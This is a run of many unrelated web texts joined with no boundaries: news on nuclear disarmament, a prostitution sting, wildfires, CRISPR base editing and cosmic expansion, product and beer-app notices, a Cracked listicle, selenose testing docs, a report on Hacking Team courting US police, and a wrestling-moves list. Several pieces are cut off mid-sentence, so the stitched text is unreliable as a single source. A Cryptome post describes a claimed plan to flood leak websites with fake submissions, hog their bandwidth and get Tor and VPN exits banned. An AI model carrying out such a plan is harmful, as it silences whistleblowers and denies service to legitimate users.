On Sunday, U.N. Secretary General António Guterres issued a message calling for the United States and other nuclear-armed countries to do more to rid the world of nuclear weapons.
"(O)ur dream of a world free of nuclear weapons remains far from reality. The states possessing nuclear weapons have a special responsibility to undertake concrete and irreversible steps in nuclear disarmament."Props to the American Civil Liberties Union of Rhode Island (RIACLU), which is speaking out against old-fashioned prostitution stings disguised as "human trafficking busts." After 31 people were arrested in a recent sting operation around the city of Cranston, the RIACLU condemned the fact that "no fewer than eight law enforcement agencies were involved" in an operation that's chief result was the arrest of 14 people for "procuring sexual conduct for a fee" and 14 others on prostitution charges. In addition to Rhode Island police departments, the operation involved the U.S. Department of Homeland Security, the FBI, and the Rhode Island Human Trafficking Task Force.
"Law enforcement stings like this one often end up having little to do with trafficking, but a lot to do with embarrassing and penalizing consenting adults engaged in sexual conduct for a fee," said RIACLU Policy Associate Hillary Davis in a statement. "Conflating prostitution with trafficking does nothing to help the trafficking victims who remain ensnared while consenting adults are pursued and arrested."
"By humiliating and charging johns for seeking consensual sex" and giving people "arrest records in the name of 'helping' them," operations like these mainly serve to make sex workers' lives "more difficult and dangerous, driving sex work even deeper into the shadows," Davis added. "We emphatically reject the notion that the only way these individuals can be helped is if they are first put into handcuffs."
The Cranston operation, like so many across the country, involved police posing as either sex workers or potential clients on the Internet and arresting those they reeled in. The people charged with trying to pay for sex had their names and pictures publicized widely by police. In total, agents from the Cranston Police Department, Homeland Security, and the rest of the vice supergroup arrested 14 sex workers, 14 "johns," and three individuals on other charges, including pandering and an outstanding bench warrant.
The remaining arrest was a 21-year-old female, who was charged with both prostitution and "human trafficking," according to a police press release. There is no specific charge of "human trafficking" in the Rhode Island criminal code, but because the alleged victim was a 16-year-old, the specific charged would likely be "sex trafficking of a minor." Cranston police did not respond to my call for more information Wednesday. But because the 21-year-old was charged with prostitution herself, it's a safe bet she was offering sexual services alongside the teen, also a female, rather than "trafficking" her in any meaningful way. Patch Cranston reports that both the 21-year-old and the teen arrived together at the sting location, where police were pretending to be a potential client; there is no mention of coercion or force.
It's relatively common for barely-legal-themselves sex workers who work alongside teens to be charged under human trafficking statutes, since most states define sex trafficking a minor to include knowingly helping them sell sex in any way. There's no requirement for force, fraud, or coercion to come into play. Sex worker rights activists complain that this prevents young women from working in pairs for safety and actually increases the chances that vulnerable teens will wind up exploited by manipulative or violent traffickers.
The Cranston police chief told Patch that if even one young person was saved, any number of sex-worker or john arrests are worth it. But it's a false dichotomy. There's no reason why helping underage victims requires arresting adult sex workers who are just trying to make a living and men whose only criminal acts involve communicating with the Cranston police.The aftermath of a wildfire in Gila National Forest in New Mexico, southwestern US, June 2012. Image: Brandon Oberhardt/US Forest Service, Gila National Forest via Flickr
Between 1992 and 2012, humans were more responsible than natural causes for wildfires in the US, due to population growth, urban expansion and global warming.
LONDON, 7 March, 2017 – Humans have more than doubled the wildfire season in the US. People – rather than natural causes – were responsible for 84% of all US wildfires between 1992 and 2012.
And the area at hazard from fires begun by human action now extends over 5 million square kilometres, more than seven times greater than the 0.7m sq km area at risk from fires started by lightning.
Researchers from three states studied US government records of 1.5 million wildfires during those 21 years. They found that human-caused fires accounted for 44% of the area burned, they report in the Proceedings of the National Academy of Sciences.
What starts wildfires?
“There cannot be a fire without a spark,” says Jennifer Balch, a geographer who directs the Colorado University Boulder’s Earth Lab. “Our results highlight the importance of considering where the ignitions that start wildfires come from, instead of focusing only on the fuel that carries fire or the weather that helps it spread. Thanks to people, the wildfire season is almost year-round.”
Her research colleague Bethany Bradley, of the University of Massachusetts at Amherst, says: “It turns out that lightning-started fires happen primarily in the inter-mountain west and almost exclusively in the summer, whereas human-started fires happen pretty much everywhere and extend the fire season far into the spring and fall.
“ Human ignitions are putting us at increasing
risk of some of the largest, most damaging wildfires”
“Our paper is the first to document the remarkable influence of human ignitions on ‘wildfire’. Since we humans are the source of most fires, we are also the solution to reducing the number of costly and damaging fires.”
Humans have helped increase fire risk in a number of ways, and population growth and urban expansion into what was once forested terrain have played a part. So, too, has global warming as a consequence of the combustion of fossil fuels, which has begun to extend the growing season, create ever greater levels of fuels and increase aridity in already dry lands.
The forests have responded by burning ever more fiercely. This has happened in the US west, and climate change has been linked to the increasing frequency and extent of such blazes.
Global hazard
Researchers have warned that fires are likely to become more extreme and that the hazard now extends across the entire warming world.
The latest study found that the season for fires ignited by lightning was roughly 43 days, exclusively in the summer and mostly in the mountain regions of the US west. The season for fires begun accidentally by humans now extends for 93 days, and humans were to blame for an average of 40,000 fires in spring, autumn and winter annually. This is 35 times the number of fires started by lightning strike in those seasons.
Dr Bradley says: “We saw significant increases in the numbers of large, human-started fires over time, especially in the spring. I think that’s interesting, and scary, because it suggests that as spring seasons get warmer and earlier due to climate change, human ignitions are putting us at increasing risk of some of the largest, most damaging wildfires.” – Climate News NetworkFormer President Barack Obama reportedly told a private group Thursday that Obamacare was "more popular than the current president."
"The Affordable Care Act has never been more popular — and it's more popular than the current president," Obama said at an event hosted by the A&E cable network in New York City, an attendee afterward told CNN.
Obama was interviewed by historian Doris Kearns Goodwin, according to the report.
Noting Republican efforts to repeal and replace his signature domestic legislative achievement, Obama reportedly told the crowd that legislators were confronting the reality that many of their most-vulnerable constituents have benefited from Obamacare.
House leaders said Thursday that a vote on a revised healthcare bill would most likely occur next week after Speaker Paul Ryan twice pulled the American Health Care Act from consideration last month because of strong opposition from the conservative House Freedom Caucus.
Obama's appearance Thursday followed Monday's speech at the University of Chicago — and he has come under fire for accepting $400,000 to speak at a Wall Street healthcare conference in September.
A representative declined to tell CNN Thursday whether and how much Obama was paid to speak at the A&E event in Manhattan.Scientists are reporting an in-depth validation of the discovery of the world's first mass producible, low-cost, organoclays for plastics. The powdered material, made from natural clay, would be a safer, more environmentally friendly replacement for the compound widely used to make plastics nanocomposites.
A report on the research appears in ACS' Macromolecules, a bi-weekly journal.
Miriam Rafailovich and colleagues focused on a new organoclay developed and patented by a team of scientists headed by David Abecassis. The scientists explain that so-called quaternary amine-treated organoclays have been pioneering nanoparticles in the field of plastics nanotechnology. Just small amounts of the substances make plastics flame retardant, stronger, and more resistant to damage from ultraviolet light and chemicals. They also allow plastics to be mixed together into hybrid materials from plastics that otherwise would not exist.
However, quaternary amine organoclays are difficult to produce because of the health and environmental risks associated with quaternary amines, as well as the need to manufacture them in small batches. These and other disadvantages, including high cost, limit use of the materials.
The new organoclay uses resorcinol diphenyl phosphate (which is normally a flame retardant), to achieve mass producible organoclays which can be made in continuous processing. In addition these organoclays are cheaper, generate less dust, and are thermostable to much higher temperatures (beyond 600 degrees Fahrenheit). This clay has also been proven to be superior for flame retardance applications. In addition, unlike most quaternary amine based organoclays, it works well in styrene plastics, one of the most widely used kinds of plastic.Sen. Ted Cruz (R-Texas) voiced support for the right of states to pursue their own marijuana policies on Thursday, speaking at the Conservative Political Action Conference in National Harbor, Maryland.
At the annual gathering of conservative activists and Republican Party leaders, Fox News' Sean Hannity asked Cruz if he thought Colorado's legalization of marijuana was a good idea.
“Look, I actually think this is a great embodiment of what Supreme Court Justice Louis Brandeis called ‘the laboratories of democracy,'" Cruz replied. "If the citizens of Colorado decide they want to go down that road, that’s their prerogative. I personally don’t agree with it, but that’s their right.”
In the past, the Texas senator and potential White House candidate has said that he's open to debate on the subject of marijuana.
"I think we can have an intelligent conversation about drug policy and the degree to which it may or may not be achieving the ends we hope it would achieve," he told Reason last year.
But Cruz has also been a vocal critic of President Barack Obama for allowing recreational marijuana laws to go into effect in Colorado and Washington state without federal intervention.
"The Obama administration's approach to drug policy is to simply announce that across the country, it is going to stop enforcing certain drug laws," Cruz told Reason in that same interview. "Now, that may or may not be a good policy, but I would suggest that should concern anyone -- it should even concern libertarians who support that policy outcome -- because the idea that the president simply says criminal laws that are on the books, we're going to ignore [them]. That is a very dangerous precedent."
Earlier this month, Cruz opened up about his past marijuana use. A spokesperson for the senator said that Cruz had smoked marijuana as a teenager, a youthful experimentation that Cruz now characterizes as a "mistake."
GOP presidential hopefuls have struggled with marijuana legalization. Recently, some have said they support states' right to decide, even if they don't exactly support legalization. Sen. Rand Paul (R-Ky.), who favors legalization of medical but not recreational marijuana, said that he's against the federal government telling states that "they can't" legalize. Sen. Marco Rubio (R-Fla.) has called legalization of recreational marijuana a "bad idea," but a spokesman said that Rubio believes, "of course," that states can make their own decisions about laws within their borders. And former Texas Gov. Rick Perry (R) said last year that he doesn't support legalization personally, but that states should be able decide their own marijuana policies.
Despite the programs now in place in Colorado and Washington state -- as well as those going into effect in Alaska and Washington, D.C., and those that will soon go into effect in Oregon -- the sale, possession, production and distribution of marijuana all remain illegal under federal law. States' moves to legalize marijuana or soften penalties for possession have only been effective because of Justice Department guidance urging federal prosecutors to refrain from targeting state-legal marijuana operations.You’ve probably heard of the molecular scalpel CRISPR-Cas9, which can edit or delete whole genes. Now, scientists have developed a more precise version of the DNA-editing tool that can repair even smaller segments of a person’s genome.
In two studies published today, one in Nature and another in Science, researchers from the Broad Institute of MIT and Harvard describe a new way to edit DNA and RNA, called base editing. The approach could one day treat a range of inherited diseases, some of which currently have no treatment options.
The human genome contains six billion DNA letters, or chemical bases known as A, C, G and T. These letters pair off—A with T and C with G—to form DNA’s double helix. Base editing, which uses a modified version of CRISPR, is able to change a single one of these letters at a time without making breaks to DNA’s structure.
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That’s useful because sometimes just one base pair in a long strand of DNA gets swapped, deleted, or inserted—a phenomenon called a point mutation. Point mutations make up 32,000 of the 50,000 changes in the human genome known to be associated with diseases.
In the Nature study, researchers led by David Liu, a Harvard chemistry professor and member of the Broad Institute, were able to change an A into a G. Such a change would address about half the 32,000 known point mutations that cause disease.
To do it, they modified CRISPR so that it would target just a single base. The editing tool was able to rearrange the atoms in an A so that it instead resembled a G, tricking cells into fixing the other DNA strand to complete the switch. As a result, an A-T base pair became a G-C one. The technique essentially rewrites errors in the genetic code instead of cutting and replacing whole chunks of DNA.
“Standard genome-editing methods, including the use of CRISPR-Cas9, make double-stranded breaks in DNA, which is especially useful when the goal is to insert or delete DNA bases,” Liu said on a conference call with journalists on Tuesday. “But when the goal is to simply fix a point mutation, base editing offers a more efficient and cleaner solution.”
Liu said base editing isn’t meant to be a replacement to traditional gene editing with CRISPR, but rather another option for altering the genome in an attempt to correct disease. If CRISPR is akin to a pair of scissors, base editing is more like a pencil, he said.
Learn more about the original functionality of CRISPR, which scientists have now modified for improved precision.
Previously, researchers had created base editors capable of making the opposite kind of swap—changing a G into an A. Substitutions of a G for an A in certain parts of the DNA represent about 15 percent of disease-associated point mutations. In September, Chinese researchers reported that they used one of these editing tools in an embryo to remove the genetic mutation that causes anemia.
Working in cells taken from patients, Liu and his colleagues used their base-editing tool to correct a point mutation that causes hereditary hemochromatosis, a disorder that causes the body to absorb too much iron from food. This excess iron can build up over time and cause liver cancer and other liver diseases, diabetes, heart disease, or joint disease.
Liu and his team also used the base editor in human cells to induce a mutation that suppresses sickle-cell anemia. In both studies, they detected virtually no off-target effects, or unwanted DNA insertions or deletions, which are a concern with the traditional way of using CRISPR to edit entire genes.
In the new Science study, Feng Zhang, of the Broad Institute and MIT, used a similar base-editing method to target individual letters in RNA, DNA’s chemical cousin. RNA naturally degrades in the body, so editing RNA wouldn’t result in a permanent change to a person’s genome.
Ross Wilson, of the Innovative Genomics Institute at the University of California, Berkeley, says base editing may eventually be a better way to treat some diseases. He says a single base pair is like a word in a paragraph of text. With conventional CRISPR technology, you would have to replace the whole paragraph.
“It’s a lot of DNA to move around,” he says. With base editing, you could just change the single word.
Liu says he’s hopeful that base editing of DNA and RNA could be used as complementary approaches for a “broad set of potential therapeutic applications.”
His lab is exploring base editing to fix blood disorders, neurological disorders, hereditary deafness, and hereditary blindness.Brewery Commenting
You may have recently noticed comments on your check-ins from some of your favorite breweries even though you haven’t liked them on Untappd. No, this isn’t a bug. Based on user feedback, community survey results and in keeping with our goal of bringing brewers and drinkers together, breweries are now able to comment on your check-ins to their beers without the need for you to have liked them on Untappd. It is our hope that this new functionality will allow brewers and drinkers to have more relevant, fun conversations about everyone’s favorite subject - beer!
We hope you enjoy this opportunity to interact with the makers of your beer. We know they’d love to hear what you have to say. While interacting, please do try to keep conversations relevant, positive, and fun. Remember, we are all here for the same reason - we all love brewing, drinking and talking about beer!
If you do not wish to participate in this new open brewery commenting, there are two ways to opt out. Currently both ways only exist on our website, but will be coming to our apps very soon.
1. If you’d like to mute a single brewery from commenting on your check-ins, you can click the mute link below the breweries top locations:
2. If you’d like to disable to ability for any brewery to comment on your check-ins, you can do so in your privacy settings:
For more details about disabling brewery commenting, you can check out our FAQ here.
As always, we are all ears and would love to hear your feedback! Please feel free to hit us up on Twitter, Facebook or our help desk at http://help.untappd.com.Does this come with the voice kit or do I need to buy it seperatly
It says that inside is a google voice kit, does it come with that?
Questions With the Most Helpful Answers Most Recent Questions Oldest Questions Questions With Most Recent Answers Questions With Oldest Answers Questions With Most Answers Can You Answer These Questions?
The MagPi is an online magazine dedicated to the Raspberry Pi created by the community for the community. It's a great way to get to grips with learning how to program your Pi and how to get started on building hardware projects; it’ll also help you find out more about the community around the device and demystify the command line.
For all those MagPi readers who want a hard copy of the best Raspberry Pi magazine available to pour over whilst sitting infront of your Pi - The MagPi is now available from ModMyPi in a high quality professional magazine format!
Issue 57 Contents:
Add natural voice interaction to your projects with this exclusive Google AIY Projects Kit only available with print edition of The MagPi magazine!
We’re extremely excited to share the latest issue – it’s a very special one bundled with an exclusive project kit from Google. Called AIY Projects, the free hardware kit enables you to add voice interaction to your Raspberry Pi projects!
Use your free AIY Projects kit to build a cardboard device that uses the Google Assistant SDK to answer questions, like “how far away is the Moon?” or “what is 18 percent of 92?”. You can also register natural language voice commands, such as “turn the lights on”, or “robot, turn right and move forwards” to control your creations.
And it gets better. As of this issue our American retailers will be receiving their issues at exactly the same time as the UK. No more 5 week old issues for you!
Also inside
Hack an Amazon Dash button
Master the basics of Minecraft Pi
Add an off switch to your Raspberry Pi
Get the gear you need with the makers’ toolkit
And much, much more!
Downloadable Copies and More Information on the MagPi is Available Direct on the MagPi Website
The MagPi Issue 57Japanses mobile company NTT DoCoMo has developed a new automatic e-mail generation feature for its latest mobile handsets. The system is meant to make it very simple to send e-mail to others by only requiring the user input 1-3 key words or phrases.
So, for example, the user can select the word “late” and phrase “ten minutes”. From that an e-mail will be generated telling the recipient that the person is sorry but they will be 10 minutes later than expected.
NTT DoCoMo has made the automatic system more intelligent than that, however, and it will take into account who the recipient of the e-mail is. If it’s your boss then the e-mail will be created with a more formal style, while the opposite is true if it detects you are sending the message to a close friend.
The system was shown running on a smartphone at the Wireless Technology Park 2010 event held last week in Japan. There is no news on when we can expect to see it used in a commercial handset.
Read more at DigInfo, found via Engadget
Matthew’s Opinion
I think NTT DoCoMo is trying to fill a gap in the market here that is already catered for by text messaging. Although you may only have your employer’s e-mail address, and not their personal phone number, in cases where its friends and family you are contacting chances are you have their mobile number. If you take into account a lot of handsets still don’t receive e-mails then text messaging wins out as the preferred communication method again.
There may be a need for this kind of feature more in the future as we all move to smartphones, but I can’t see the text message ever disappearing. Being limited to three words also limits what can be said, unlike text messages.A support document published by Microsoft, and some AppleInsider testing, shows that while the newer versions of the office productivity suite will mostly work with High Sierra now, the current version does not —and older versions are getting left behind.
In the support document, published shortly after the reveal of High Sierra, Microsoft declares that while the Office 2016 suite of applications from unreleased version 15.35 and later do work, users will still have to endure problems while waiting for a future update. According to Microsoft, "not all Office functionality may be available" and stability problems may manifest where "apps unexpectedly quit."Without delving into specific reasons why, Microsoft strongly recommends that users back up existing data before trying the software. The company is requesting that users send feedback if they choose to test High Sierra and Microsoft Office products.Versions 15.34 —the current version —and earlier are not supported on High Sierra, and users may not be able to launch the apps at all, according to Microsoft. The 15.34 update was released on May 16Microsoft notes in the same memorandum that Office for Mac 2011 "have not been tested" and "no formal support for this configuration will be provided." Office for Mac 2011 will also cease all support from Microsoft on October 10, 2017 and no further updates in any form will be provided after that date.AppleInsider tested the 15.34 version and found that they appear to launch and run for a period of time, but with notably slower speeds across the board. Furthermore, the apps quit unexpectedly fairly often during use.The same issues manifested in a Mac with High Sierra that was not migrated to APFS, eliminating that as a primary source of the errors and crashing.The latest Office for Mac 2011 from April, version 14.7.3, was examined, and was found to be in a worse state following the High Sierra update. Crashing was even more frequent than in the Office for Mac 2016, not even accounting for a number of other user interface oddities spanning the entire suite. A standard troubleshooting step for Microsoft Office applications is to uninstall and reinstall the suite. Neither the 2011 nor the 2016 versions were any better after a complete delete and reinstall.Both the 2011 and 2016 versions of Office were usable prior to the High Sierra update. AppleInsider's testing found the 2016 suite to to be functional for the cautious under 15.34, and 2011 to be not reliable at all under High Sierra.Around the globe, caesarean section rates have increased dramatically, something that has proven controversial as a large amount of them are not medically required. The growing c-section rate can be attributed to many factors, including more births among older women, multiple births through assisted reproduction, technological advances, as well as personal preference. They involve a degree of risk and can cause complications for subsequent deliveries.
Across OECD countries, the c-section rate currently stands at approximately 28 percent with some of the lowest rates occurring in northern Europe. Sweden is a notable example with 16.4 c-sections for every 100 live births. Turkey is at the opposite end of the scale with just over half of all babies delivered via c-section. The United States and Australia also have higher ceasarean rates than average, 32.5 and 32.1 per 100 live births respectively.
*Click below to enlarge (charted by Statista)CAPE CANAVERAL, Fla. (Reuters) - The universe is expanding faster than previously believed, a surprising discovery that could test part of Albert Einstein’s theory of relativity, a pillar of cosmology that has withstood challenges for a century.
The 'Milky Way' is seen in the night sky over rocks in the natural reserve area of Wadi Al-Hitan, or the Valley of the Whales, at the desert of Al Fayoum Governorate, southwest of Cairo, Egypt, August 13, 2015. REUTERS/Amr Abdallah Dalsh
The discovery that the universe is expanding 5 percent to 9 percent faster than predicted, announced in joint news releases by NASA and the European Space Agency, also stirs hypotheses about what fills the 95 percent of the cosmos that emits no light and no radiation, scientists said on Thursday.
“Maybe the universe is tricking us,” said Alex Filippenko, a University of California, Berkeley astronomer and co-author of an upcoming paper about the discovery.
The universe’s rate of expansion does not match predictions based on measurements of the remnant radiation left over from the Big Bang explosion that gave rise to the known universe 13.8 billion years ago.
One possibility for the discrepancy is that the universe has unknown subatomic particles, similar to neutrinos, that travel nearly as fast as the speed of light, which is about 186,000 miles (300,000 km) per second.
Another idea is that so-called “dark energy,” a mysterious, anti-gravity force discovered in 1998, may be shoving galaxies away from one another more powerfully than originally estimated.
“This may be an important clue to understanding those parts of the universe that make up 95 percent of everything and that don’t emit light, such as dark energy, dark matter and dark radiation,” physicist and lead author Adam Riess, with the Space Telescope Science Institute in Baltimore, Maryland, said in a statement.
Riess shared the 2011 Nobel Prize in Physics for the discovery that the expansion of the universe was speeding up.
The speedier universe also raises the possibility that Einstein’s general theory of relativity, which serves as the mathematical scaffolding for calculating how the basic building blocks of matter interact, is slightly wrong, NASA said.
Riess and colleagues made their discovery by building a better cosmic yardstick to calculate distances. They used the Hubble Space Telescope to measure a particular type of star, known as Cepheid variables, in 19 galaxies beyond our own Milky Way galaxy.
How fast these stars pulse is directly related to how bright they are, which in turn can be used to calculate their distances, much like a 100-watt light bulb appears dimmer the farther away it is.
The research will be published in an upcoming edition of The Astrophysical Journal.Continue Reading Below Advertisement Zagreb is now petitioning to the U.N. to be formally recognized as the "WTF Capital Of The World".
4 Longest Trading Card Marathon Guiness must evolve with the times. In the modern digital age people tire of actual accomplishments that require physical skill and stoicism. If we want to see the top of Mt. Everest, we'll grab a matinee of the nearest IMAX showing and take a pass on the frostbitten extremities. Or, even better, if you make a video game about climbing Everest, we'll play it. This is why GBR has finally produced their first Gamer's Edition of the book, paying tribute to the virtual world's unsung heroes. The record for the longest trading card playing marathon is just one of the many profiles in courage. William Stone, Bryan Erwin and Christopher Groetzinger etched their deeds in the tomes of history when they managed to play The Lord of the Rings Trading Card Game for 128 hours from December 27, 2002 to January 1, 2003 at The Courtyard, Colorado Springs, Colorado. Continue Reading Below Advertisement The Lord of the Rings Trading Card Game is a game for two or more players, whose deck includes equal numbers of "Free Peoples" and "Shadow" cards. On a player's turn they are considered to be the Free Peoples player and their Fellowship is dork spaz dork, geek nerd lamer dork weenie spaz nerd. You get the point. Their game play was only interrupted for sanctioned 15 minute breaks to use bathroom facilities, rest, or receive wedgies from bullies waiting in a line adjacent to the table.
3 Most Functional Folding Knife Leave it to those ingenious Chinese folks to out-Switzerland the Swiss. The world record-setting Wei Ge knife pictured above includes 87 tools with an intended 141 individual functions. It is the first pocket knife designed to entirely defeat the structural integrity of any pocket that attempts to carry it. Among its many features are a hex screw, carabiner, Wankel rotary engine, flux capacitor, and nail file. Continue Reading Below Advertisement It is unclear if the manufacturer of this knife is a chinese company called Wei Ge, or if it is the Chinese company Weierman that registered the trademark "Wei Ge" (a statement that translates to "Great Man" and was later licensed to pharmaceutical companies selling drugs for erectile dysfunction). All we know for certain is that a manly Chinese company that may or may not have boner issues designed a Swiss Army knife so amazingly functional that it cannot possibly be used for anything. There is a lesson to be learned there, but we're not sure what it is.
2 Most Snails on Face The record for the most snails to remain on the face for 10 seconds was achieved by Alastair Galpin on October 27, 2007, when 8 gastropods went about their usual business of clinging to things. This raises many, many questions that Guiness doesn't seem ready to answer. The first of which being, what was the previous record? Seven snails? Two? Zero? Continue Reading Below Advertisement The other question is, of course, was this an intentional record, like the moonwalk thing, or did it just happen? If it's the former, isn't there room for way more snails on his face than eight? If it's the latter, doesn't this guy just need to do a better job cleaning his bedroom? We're guessing this was done on purpose, as Mr. Galpin is no stranger to the realm of Guiness World Records. At last count, he had officially broken 28 different records. The esteemed list includes such greatest hits at the Longest Handshake (9 hours), Gluing The Most Rhinestones To The Body (31,680), Wearing Most Socks On One Foot (70), and Licking The Most Stamps In One Minute (57). Despite his better efforts, the record for Biggest Attention Whore is still locked by Paris Hilton, but he isn't giving up hope.
1 Oldest Male Stripper Continue Reading Below Advertisement Bernie Barker was technically the owner of two different records. Not only was he the oldest working professional male stripper, he was also entitled to 50% of the World's Oldest Onstage Teabagging. The partner in that record could not be reached for comment, as we're guessing she was coincidentally stricken with an unshakable catatonia immediately following the event. Bernie was a regular performer at Club LeBare in Miami Beach, Florida from the year 2000 to 2007. He began his career at the age of 60. He described it as a way to get in shape after recovering from prostate cancer. We'd imagine his previous job was less supportive of the "therapeutic dryhumping" he had to perform throughout the day. Barker apparently decided that if old age was going to take away his dignity, by God it was going to go down with guns blazing. Guiness says he won "over 30 contests" before he passed away in March 2007. We're not sure what kind of contests these were, and we don't want to find out. More of Ian Cheesman's work can be found at InternetSensation.com. If you liked that, you just might enjoy our rundown of The 15 Strangest Animal Mating Rituals. Then read Dan O'Brien's latest internet love letter to Hannah Montana.
More ArticlesWith the new Django 1.4+ support for in-browser testing frameworks, it was time for selenose to support django-jenkins, a plug and play continuous integration tool for Django and Jenkins.
Selenose now provides two Selenium related tasks for django-jenkins:
selenium-server-task starts a Selenium Server before running the tests, and stops it once they are over.
selenium-driver-task provides a Selenium Web Driver to the tests.
Selenium Server Task This task starts a Selenium Server before running tests, and stops it at the end of the tests. To enable it, edit your settings.py and append selenose.tasks.selenium_server to JENKINS_TASKS : JENKINS_TASKS = [ # Other tasks...'selenose.tasks.selenium_server', ] If this setting does not exist yet, do not forget to create it with the default tasks: JENKINS_TASKS = [ 'django_jenkins.tasks.run_pylint', 'django_jenkins.tasks.with_coverage', 'django_jenkins.tasks.django_tests','selenose.tasks.selenium_server', ] Options for Selenium Server are the same as for the nose Selenium Server Plugin. Set them in a setup.cfg located in the current working directory, for instance: [selenium-server] debug = true log = selenium-server.log You can also specify the path to the configuration file with the --selenose-config option on the manage.py jenkins command line: $ python manage.py jenkins --help [... ] selenose.tasks.selenium_server: --selenose-config = SELENOSE_CONFIGS Load selenose configuration from config file ( s ). May be specified multiple times ; in that case, all config files will be loaded and combined. In your tests, just create a new Remote Web Driver calling the server and that's it: from django.test import LiveServerTestCase from selenium import webdriver class TestCase ( LiveServerTestCase ): @classmethod def setUpClass ( cls ): cls. driver = webdriver. Remote ( desired_capabilities = webdriver. DesiredCapabilities. FIREFOX ) super ( BaseTestCase, cls ). setUpClass () @classmethod def tearDownClass ( cls ): super ( BaseTestCase, cls ). tearDownClass () cls. driver. quit () def test ( self ): driver. get ( self. live_server_url )
Selenium Driver Task This task provides a Selenium Web Driver to Selenium tests. To enable it, edit your settings.py and append selenose.tasks.selenium_driver to JENKINS_TASKS : JENKINS_TASKS = [ # Other tasks...'selenose.tasks.selenium_server', ] If this setting does not exist yet, do not forget to create it with the default tasks: JENKINS_TASKS = [ 'django_jenkins.tasks.run_pylint', 'django_jenkins.tasks.with_coverage', 'django_jenkins.tasks.django_tests','selenose.tasks.selenium_driver', ] But enabling this task is not enough, a Web Driver environment is also required. An environment declares all the necessary parameters to create a new Web Driver. See selenose documentation for more details. The environments are defined in a setup.cfg located in the current working directory, for instance: [selenium-driver:sample] webdriver = firefox You can also specify the path to the configuration file containing the environments with the --selenose |
state and local police departments named in the emails are on lists pulled from law enforcement conferences. For instance, an October 2014 email lists email addresses for officers of the Kansas Bureau of Investigation, the Houston Police Department, and the Fort Wayne Police Department, among other agencies. The email's subject indicates that Hacking Team collected contact information during the annual conference of the National Technical Investigators Association (NATIA) in San Diego two months before.
The email archive includes similar contact lists from Law Enforcement Intelligence Units (LEIU) and Intelligence Support Systems (ISS) conferences.
Representatives from Hacking Team gave a number of talks at last year's ISS conference in Washington, DC, according to the agenda. Notable session titles included "Today's interception in an encrypted, social and clouded world" and "Intruding communication devices: live demonstration of latest attack techniques."
In addition to giving conference presentations, the leaked emails indicate that Hacking Team is courting domestic police one-on-one. As has previously been reported, the NYPD and Manhattan District Attorney's Office arranged a product demo earlier this year, and asked whether Hacking Team software could jailbreak an iPhone remotely.
"Most of the questions were about the legal aspects, but in the end they seemed confident that the product could be used for investigations."
In 2013, a Hacking Team engineer gave a similar demo for the sheriff's office in Broward County, near Ft. Lauderdale, Florida.
"The detectives that [sic] there were definitely impressed by [Remote Control System]," the engineer summarized in a debriefing email after the demonstration. "[M]ost of the questions were about the legal aspects, but in the end they seemed confident that the product could be used for investigations."
MuckRock has submitted a request for records concerning the demonstration to the Broward County Sheriff's Office.
The email indicates that Hacking Team also demonstrated the same system for the Colombian National Police and the United Nations Development Program within days of visiting Broward County.
Hacking Team also reached out to Los Angeles police in 2013 during a US marketing tour.
An account manager wrote that it was "just a matter of time that [LAPD] reply," but the email archives does not indicate whether any meeting took place.
This is likely the tip of the iceberg for Hacking Team marketing to domestic law enforcement. MuckRock is using the map above to obtain documents from agencies who have expressed interest in Hacking Team products. But the extent to which non-federal agencies are using these powerful surveillance tools remains unclear.PORTLAND, Ore. -- You're probably spending more time on the road than ever before in the Rose City.
The Oregon Department of Transportation reports traffic has gone up 6.3% this year, about twice the national average -- and it's still going.
"The highways are really reaching and somewhat exceeding capacity," said spokesperson Don Hamilton.
The traffic counter on I-5 at Wilsonville shows a constant increase in cars traveling on the road, he said.
"Every month, it keeps on setting new records," said Hamilton.
Why the jump? Hamilton said it may be due in part to the growing economy: more jobs, more drivers on the road, and more people moving to Oregon.
He said you can expect to see jams not just during rush hour, but all day, on weekends, and in areas you wouldn't normally think of as congested.
"When the roads are really maxed out like this, any one little crash, any one disabled car, is going to have a significant ripple effect and cause an awful lot of congestion," said Hamilton.
"I'm not very happy about it," said driver Carla Hoffmeister.
She said it used to take her twenty minutes to drive the seven miles from her house in Southeast Portland to her work downtown, but now it it takes an hour or more.
"It's a little bit more every day," said Hoffmeister. "It's like, a couple minutes late. The next day, it's like five minutes late. It's like I have to leave earlier and earlier every day."
Hamilton said ODOT is studying the data, to look for at the options.
He said it would cost billions to add lanes to the highways.
"It's not that simple," said Hamilton. "There's no one solution that resolves all things."
"You can't really build yourself out of congestion," he added. "Building a new lane can help, but adding a new lane for a freeway would just become congestion again later."
Hamilton said solutions include taking public transportation, riding your bike to work, working from home, and coming in to work earlier or later than usual.
There may be other ways to make your commute a little less painful.
"Everybody try and be nice to each other and slow down and please get off your cell phones," advised Hoffmeister.23 August 2015
SAIC Whistlebreakers
A sends:
About those bots:
https://cryptome.org/2015/08/kill-thieving-bots.pdf
I work at SAIC and a loose-lipped co-worker was bragging about his "whistlebreaker" project. That was not the real name it was just what he called it. It sounded like it had three parts.
One was to flood leak websites with fake submissions with tor targeting websites that use Secure Drop and Global Leaks. It was not clear if he meant flood with false leaks or denial of service. I did not ask any questions I just let him talk.
The second part was using bots to hog bandwidth from leak websites to drive their costs "sky high" and to deny that bandwidth to legitimate users.
The third part was triggering bans on proxies VPNs and tor exit nodes, making as many file requests as possible so that users will not be able to use them to safely access websites. It involved using or circumventing the.htaccess file I am not sure which.
"The goal is to divert bandwidth strangle traffic and get them to block their own users."
Good luck and keep it up.Attacking maneuvers are offensive moves in professional wrestling, used to set up an opponent for a submission hold or for a throw. There are a wide variety of attacking moves in pro wrestling, and many are known by several different names. Professional wrestlers frequently give their finishers new names. Occasionally, these names become popular and are used regardless of the wrestler performing the technique.
Professional wrestling contains a variety of punches and kicks found in martial arts and other fighting sports; the moves listed below are more specific to wrestling itself. Many of the moves below can also be performed from a raised platform (the top rope, the ring apron, etc.); these are called aerial variations. Moves are listed under general categories whenever possible.
Body press
A maneuver that involves a wrestler attacking with the core of the body. It is executed from an upright, running position using momentum and weight to run over the opponent.
Body avalanche
The wrestler takes a short charge into an opponent in the corner of the ring without leaving the feet as he/she opens both arms just before reaching the opponent, resulting in hitting with the chest and abdominal area while throwing both arms inwards as in a bearhug, crushing the opponent into the turnbuckle. This is normally used by bigger, heavier wrestlers.
Stinger splash
A variation named after, innovated and popularized by Sting. It involves the wrestler trapping the opponent in a corner. Then the wrestler will charge at the opponent usually from the opposite corner, launching themselves and sandwiching the opponent between them and the turnbuckle as grabbing a hold on the top rope.
Thesz press
